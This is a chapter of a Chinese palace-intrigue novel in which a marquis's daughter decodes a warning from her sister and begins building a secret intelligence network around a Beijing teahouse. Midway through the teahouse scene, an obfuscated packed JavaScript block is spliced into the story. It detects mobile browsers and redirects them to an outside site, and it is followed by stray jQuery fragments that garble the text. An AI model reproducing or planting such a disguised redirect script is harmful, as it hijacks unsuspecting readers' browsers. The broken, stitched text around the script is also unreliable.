暮色渐沉，靖安侯府内已是华灯初上。南晚凝端坐于妆台前，铜镜中映出的面容平静无波，唯有微微蜷缩的指尖泄露了内心的焦灼。母亲入宫已近两个时辰，那盒暗藏玄机的安神香，此刻应当已到了晚意手中。不知她能否看破其中关窍，又能否在系统的监视下，寻得机会回应？
“大小姐，”拂云轻手轻脚地进来，手中捧着一份看似寻常的拜帖，“‘锦绣斋’方才遣人送来帖子，说是新到了一批苏绣样子，请您得空过目。”
南晚凝心尖微动，面上却不露分毫，只淡淡道：“知道了，放下吧。”
帖子的纸质、墨色都与寻常无异，她指尖细细摩挲着帖子的边缘，在右下角一处极不起眼的褶皱处，感受到一丝几乎难以察觉的、与其他处不同的细微硬度。她不动声色地用指甲轻轻挑开那几乎看不见的夹层，一枚薄如蝉翼、折叠得仅指甲盖大小的素白绢纱悄然落入掌心。
心，骤然跳快了几分。
她屏退拂云，独坐灯下，小心翼翼地展开那方绢纱。上面依旧没有文字，只有以极细的赭石色丝线，绣出了一幅简约到极致的图样——几道蜿蜒的线条勾勒出宫苑轮廓，一处被以稍深色丝线重点缀绣，旁边是两颗微小的、象征时辰的星辰，以及一簇形态妖娆的垂柳图案。
兰台宫，酉时末，柳云裳。
晚意收到了！她不仅看懂了香中隐藏的密码，更在如此短的时间内，用这种更为隐蔽的绣纹方式，传回了确切的警示！柳云裳果然贼心不死，三日后黄昏，欲在僻静的兰台宫附近发难！
一股混合着欣慰与更沉重忧虑的情绪涌上心头。通信渠道的畅通证明了姐妹间的默契，也证明了晚意在宫中的处境远比她想象的更为复杂和危险。她能如此迅速地回应，意味着她身边或许有极可靠的助力，但也意味着，那潜在的威胁已然迫近，逼得她不得不冒险传递消息。
柳云裳……她背后站着的是安王。此次出手，绝不可能只是简单的争风吃醋或小打小闹的陷害。在兰台宫那样僻静之地，酉时末天色将暗未暗之时，他们究竟想做什么？是构陷？是制造意外？还是……更狠毒的杀招？
南晚凝将绢纱凑近烛火，看着那精致的绣纹在火焰中卷曲、焦化，最终化作一小撮灰烬，再无痕迹。空气中弥漫开一丝极淡的焦糊味，很快便被熏香掩盖。
她站起身，在室内缓缓踱步。脑海中思绪纷杂，如同窗外渐浓的夜色。
被动等待，绝不可行。“锦绣斋”这条线，目前看来安全，但它更像一个单向的、延迟的信箱。一旦宫中有突发状况，或者晚意需要宫外即时配合，这种方式便显得捉襟见肘，缓不济急。
她需要一张网。一张更为灵动、细密，既能接收信息，也能主动探查，甚至能在关键时刻传递消息、执行指令的暗网。这张网必须独立于靖安侯府之外，完全由她掌控，才能最大限度地保证安全和效率。
念头既起，便如野草疯长。
她走到书案前，铺开一张空白的宣纸，却并未立刻下笔。建立这样的网络，千头万绪，从何开始？
人手。这是最核心，也最困难的一环。府中的仆役，关系盘根错节，难保没有他人的眼线，且一举一动易受关注。外头招募，来历不明者，忠诚更是无从谈起，风险巨大。
她的指尖无意识地在纸上划过，前世零碎的记忆片段浮上心头。南家倾覆之时，树倒猢狲散，世态炎凉体现得淋漓尽致。然而，在一片冰冷的绝望中，似乎也偶有那么几点微弱的萤火……那个因为父亲病重，母亲特许预支了半年月钱救治的庄户儿子？那个因得罪了管事的儿子而被排挤，差点被发卖，是她偶然路过说了句话保下来的浆洗妇人之女？还有……母亲陪嫁庄子上那个因狩猎受伤坏了腿、沉默寡言却眼神清亮的年轻管事赵青？
这些人，身份低微，在前世的洪流中如同尘埃。但他们或多或少都曾受过南家的恩惠，在最后时刻，似乎都曾有过试图靠近、哪怕只是递上一碗水的举动。那份在绝境中未曾完全泯灭的善意，此刻想来，尤为珍贵。
或许，根基可以从这里开始培植？这些人知根知底，与府中核心利益牵扯不深，若以恩义结之，许以前程，或可一用。
但此举必须万分谨慎，绝不能将潜在的危机引向母亲和家族。所有联系都必须隔离开侯府的日常运转之外。
据点。除了“锦绣斋”这样用于固定接头的点，她还需要一些更灵活、更不起眼的，能够流动收集信息、传递指令的场所。茶楼酒肆、车马行、甚至……赌坊？那些地方鱼龙混杂，消息灵通，也便于各色人等隐匿身份。
资金。维系这样一个网络，需要持续的银钱投入。她的月例和以往的积蓄远远不够。或许，可以利用母亲给她的几处不起眼的陪嫁铺面做些文章？不追求盈利，只求能提供一个合理的掩护和资金流转的渠道。
南晚凝提起笔，在纸上写下几个关键词：旧人、据点、银钱。每一个词背后，都意味着大量的甄别、试探、布局和风险。
她首先想到的是赵青。印象中，他伤腿后似乎被遣回了京郊的庄子。此人沉稳寡言，心思缜密，且因伤腿之故，更容易被忽略，行动也更为自由。
次日，她以去京郊“慈恩寺”为母亲祈福为由，轻车简从出了府。马车并未直奔寺庙，而是在城中绕行片刻，停在了一家名为“云裳阁”的绸缎庄前。这是母亲的一处陪嫁产业，掌柜是母亲当年的陪房，姓周，为人老实本分。
南晚凝并未下车，也未惊动周掌柜，只让拂云悄悄递了句话进去。不过一盏茶的功夫，一个身着半旧灰布短打、身形精干、步履微跛的青年从后门悄然出来，来到马车窗前，垂首恭敬而立，正是赵青。他面色平静，眼神依旧沉静，见到马车并无太多惊讶，仿佛早已料到。
“赵青，”南晚凝的声音隔着车帘传出，平静无波，“我记得你。你的腿……可还能奔走？”
赵青微微一愣，显然没想到大小姐会记得他，更会如此直接地询问，他沉默一瞬，如实答道：“回大小姐，行走无碍，长途奔走或剧烈活动有些吃力，但寻常传递消息、盯梢探听，足矣。”
“那就好。”南晚凝语气依旧平淡，却带着一种不容置疑的力量，“我如今有一件私事，需寻个绝对可靠且嘴严之人去办，此事不在府中走动，或许有些风险，甚至……见不得光。你，可还愿替侯府，替我分忧？”
她刻意模糊了“侯府”与“我”的界限，将个人诉求与家族利益捆绑。
赵青猛地抬头，眼中闪过一丝复杂的情绪，有惊讶，有犹疑，但更多的是一种被信任的震动和决绝。他没有立刻回答，而是深吸一口气，似乎在权衡什么，最终，他重重抱拳，低声道：“大小姐当年一句话，保全了小人与家母。夫人恩准银钱，救回家父性命。赵青虽贱微，却知恩义。大小姐信得过，刀山火海，小人也去得！”
“不必刀山火海，”南晚凝淡淡道，“只需忠心，机警，守口如瓶。稍后自会有人给你银钱和具体事宜。从今日起，你与侯府及这‘云裳阁’再无明面关联，一切只听我指令行事。”她需要他成为游离在明面之外的第一颗暗棋，一把藏在鞘中的利刃。
“是！小人明白！”赵青声音低沉却坚定。
马车缓缓驶离。南晚凝知道，这只是埋下的第一颗种子。赵青可用，但力量单薄，且擅长的是执行与隐匿，而非探听与周旋。她还需要更多样的人才，需要能打入不同圈子、获取不同层面信息的角色。
几天后，京城南坊，一家新开张不久、生意却颇为红火的茶肆“清源居”二楼雅间。
南晚凝戴着遮挡容貌的帷帽，坐在临窗的位置。这里位置不算顶好，但胜在环境清幽，雅间隔音不错，且楼下大堂汇聚了三教九流，是探听市井消息的好去处。这里，是她让赵青动用首批资金，通过一个看似毫无关联的中间人盘下的据点。
她面前摆着一壶清茶，几样点心，看似悠闲，实则耳听八方，心神紧绷。邻桌几个商人模样的男子正高声议论着近日漕运关税的变动，言辞间对某些官员颇有微词；另一侧几个看似文士的人则在低声点评时政，言语间隐约透露出对安王门下某些清客招摇过市的不满。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543905|186695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
这些碎片化的信息，如同散落的珍珠，在她脑中与晚意传来的警示隐隐串联。柳家、安王……他们的触角，似乎远比想象中伸得更长。
忽然，楼梯口传来一阵喧哗，伴随着店小二焦急的劝阻声。
“几位爷，真对不住，楼上的雅间真没了，您看楼下……”
“没了？爷们儿今日就要在这谈事！让里面的人腾一间出来！”一个粗豪蛮横的声音响起，带着不容置疑的意味。
南晚凝微微蹙眉，拂云立刻起身，欲去查看交涉。就在这时，一个清朗沉稳、不高却极具穿透力的声音响起，瞬间压住了嘈杂：
“王兄，何必与小二为难。楼下转角处有一静室，环境亦是不错，若不嫌弃，小弟做东，请诸位饮茶，算是赔罪如何？”
南晚凝透过纱帘缝隙望去，只见一名身着湖蓝色锦袍的年轻公子挡在了那几位闹事者面前。他身姿挺拔，面容俊朗，眉眼疏阔，嘴角噙着一抹淡然的笑意，举止从容有度，既不显卑微，也不露锋芒，三言两语便化解了冲突。那几位原本气势汹汹的闹事者，竟也卖他面子，互相看了看，悻悻然地跟着小二下了楼。
那蓝袍公子并未立刻离开，目光似无意般扫过二楼的几间雅室，在经过南晚凝这间时，隔着纱帘，仿佛与她的视线有了一瞬的交汇。他微微颔首，唇角笑意似乎深了一分，算是致意，随即从容转身下楼。
南晚凝心中微动。此人……她有些印象。似乎是忠勇伯府的世子，名叫陆珩？传闻他性情洒脱不羁，厌烦繁文缛节，常与市井豪侠、文人墨客乃至商贾之流往来，在京城勋贵子弟中是个特立独行的异类，却因其仗义疏财、处事圆融而颇有声名。方才他处理争端的方式，既全了对方颜面，又维护了茶肆秩序，手腕可谓老练。
更重要的是，忠勇伯府与靖安侯府素无深交，但亦无过节，属于朝中较为中立的势力。陆珩此人，交际广阔，消息灵通，本身又似乎拥有一定的能量和影响力……或许，是一个可以远观、需要评估，甚至在未来的某一天，可能成为借力或合作的对象？当然，眼下绝非接触之时，任何轻举妄动都可能引来不必要的关注。
她在“清源居”又坐了片刻，通过赵青安排的眼线，陆陆续续又听到几桩看似无关紧要、细想却有些意味的市井传闻——关于柳家一个远房旁支子弟在赌坊一掷千金，关于安王府最近采买物资的异常动向，关于某些看似不起眼的官员岗位的悄然变动……
这些信息，如同溪流汇入她心中的池塘，虽未掀起巨浪，却让池水愈发幽深。她仔细地将这些碎片记在心里，准备回去后再慢慢梳理。
日落时分，南晚凝悄然离开茶肆，如同水滴融入大海，未引起任何注意。
回到靖安侯府，暮色已深。书房内，烛火摇曳。南晚凝摊开一张简易的京城舆图，在上面标出了“锦绣斋”、“云裳阁”（作为与赵青的间接联系点）以及新得的“清源居”。赵青已被她派往他处，开始按照她的初步指令，暗中物色其他可能可靠的旧人，并着重留意与柳家、安王府相关的细微动静，特别是三日后，宫外是否会有什么异动与之呼应。
“清源居”成了她的第一个有效的信息接收节点。而那位惊鸿一瞥的陆珩世子，则在她心中留下了一个需要持续观察和评估的印记。
暗棋已悄然落下数子，虽然依旧微弱，分布稀疏，但网络的雏形已开始显现。她不再是那个只能被动等待宫中消息、内心焦灼却无能为力的侯府小姐。
她知道，此刻的晚意，定然也在那吃人的深宫中，凭借着自己的智慧和勇气，艰难地布着她的局，应对着来自四面八方的明枪暗箭。她们姐妹，一在明，一在暗；一在波谲云诡的宫廷，一在暗流汹涌的宫外，正各自顶着无形的巨大压力，凭借着血脉相连的默契与超越生死的信任，一点点地编织着属于她们的、对抗命运与阴谋的求生之网。
而三日后兰台宫外的黄昏，将是这张网面临的第一次真正考验。南晚凝望向皇宫的方向，眼神沉静如水，深处却燃烧着不容退缩的决绝。风暴将至，她们必须挺过去。